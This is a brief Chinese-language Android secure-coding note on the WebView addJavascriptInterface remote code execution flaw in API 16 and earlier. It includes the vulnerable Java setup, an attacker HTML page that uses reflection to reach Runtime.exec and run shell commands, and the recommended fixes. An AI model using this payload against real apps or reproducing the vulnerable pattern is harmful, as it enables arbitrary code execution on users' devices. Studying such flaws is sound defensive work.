標籤:java反射 null 執行 IV 應用 mda 編碼 方法 介面
- WebView遠程代碼執行
- 在API16(Android 4.2 )及之前的系統上,如果使用WebView.addJavaScriptInterface方法來實現通過JavaScript調用應用本地java介面時,由於系統沒有對註冊的Java類方法調用做任何限制,導致攻擊者可以通過使用Java反射API調用該漏洞來執行任意java對象的方法,從而達到攻擊的目的。在JavaScript中注入java對象injectedObject的漏洞代碼如下:
WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(this,"injectedObject"); webView.loadUrl("http://www.asce1885.com/index.html");
- 攻擊者html頁面如下,可以獲得getRuntime方法,從而執行一系列shell命令,為所欲為:
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <script type="text/javascript"> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } </script> <title>Title</title></head><body></body></html>
- 該漏洞的解決方案如下:
- api>16 .android給出的解決方案 在Java類的方法上使用@JavascriptInterface註解
- api<=16 強烈建議不要再使用addJavascriptInterface介面,轉而使用safe-java-js-webview-bridge這個函數庫
- 移除Android系統內部的如下預設介面(這個搞不明白)
Android安全編碼